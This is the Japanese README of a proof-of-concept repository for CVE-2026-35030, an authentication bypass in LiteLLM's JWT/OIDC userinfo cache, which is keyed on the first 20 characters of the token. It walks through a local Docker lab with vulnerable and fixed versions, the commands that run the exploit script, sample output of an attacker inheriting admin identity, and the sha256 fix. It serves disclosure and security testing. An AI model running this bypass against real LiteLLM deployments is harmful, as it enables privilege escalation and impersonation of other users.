| フィールド | 値 |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (緊急) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (緊急) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (不適切な認証) / CWE-222 (保護が不十分な認証情報) |
| 影響を受けるバージョン | LiteLLM < 1.83.0 (enable_jwt_auth: true 設定時) |
| 修正バージョン | v1.83.0+ (キャッシュキーが sha256(token) に変更) |
| 公開日 | 2026-04-06 |
| 発見者 | Veria Labs |
| リンク | GHSA-jjhc-v7c2-5hh6 • NVD • GitLabアドバイザリ |
LiteLLMは、LLM APIを呼び出すためのAIゲートウェイ/プロキシサーバーです。JWT認証が有効 (enable_jwt_auth: true) の場合、LiteLLMはOIDCプロバイダーに対してトークンを検証し、ユーザー情報 (userinfo) の応答をキャッシュします。
脆弱性の概要: キャッシュキーはJWTの最初の20文字のみを使用します:
# Vulnerable code (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
JWTは、ドットで区切られた3つのbase64urlエンコード済みセグメントで構成されます:
<header>.<payload>.<signature>
ヘッダー (例: {"alg":"RS256","typ":"JWT"}) は、同じ署名アルゴリズムを使用するすべてのトークンで同一にエンコードされます。つまり、まったく異なるユーザーに発行された2つの異なるJWTは、最初の20文字が同じになります。
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
エンタープライズライセンスに関する注記: JWT/OIDC認証はLiteLLMのエンタープライズ限定機能です (
LITELLM_LICENSEが必要)。ローカルでのCVE再現のため、両方のDockerfileはpremium_userチェックをTrueにパッチしています。これは脆弱性には影響しません — キャッシュキーの衝突 (token[:20]) はエンタープライズチェックとは独立して存在します。初回起動時はPrismaマイグレーションが実行されます (~60〜90秒)。LiteLLMは、ログに
"Uvicorn running on http://0.0.0.0:4000"が表示されると準備完了です。
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
デモモード — キャッシュキーの衝突を示す:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
エクスプロイトモード — 実際の認証バイパスを示す:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
修正版 — sha256キャッシュキーが衝突を防止:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
litellm/proxy/auth/handle_jwt.py では、OIDCユーザー情報キャッシュのキーに token[:20] が使用されています:
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] が不十分な理由| トークン構成要素 | ユーザー固有データを含むか? | 同じアルゴリズムなら固定か? |
|---|---|---|
| ヘッダー (最初の約30文字) | ❌ いいえ | ✅ はい — 同一のbase64 |
| ペイロード (ユーザー固有) | ✅ はい | ❌ いいえ — ユーザーごとに一意 |
| 署名 | ✅ はい | ❌ いいえ — キーごとに一意 |
最初の20文字以内に含まれるのはヘッダーだけであり、ヘッダーは同じ署名アルゴリズムを使用するすべてのトークンで同一であるため、同じ発行者からのすべてのRS256 JWTはまったく同じ最初の20文字を持ちます。
| シナリオ | 説明 |
|---|---|
| 権限昇格 | 低権限ユーザーがキャッシュ衝突を介して管理者になる |
| 水平方向のなりすまし | ユーザー情報がキャッシュされている任意のユーザーになりすます |
| 認証バイパスチェーン | CVE-2026-35029と組み合わせてRCEを達成する |
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
sha256(token) を使用)enable_jwt_auth: false免責事項: 本コンテンツは教育目的および認可されたセキュリティテストのみを目的として提供されています。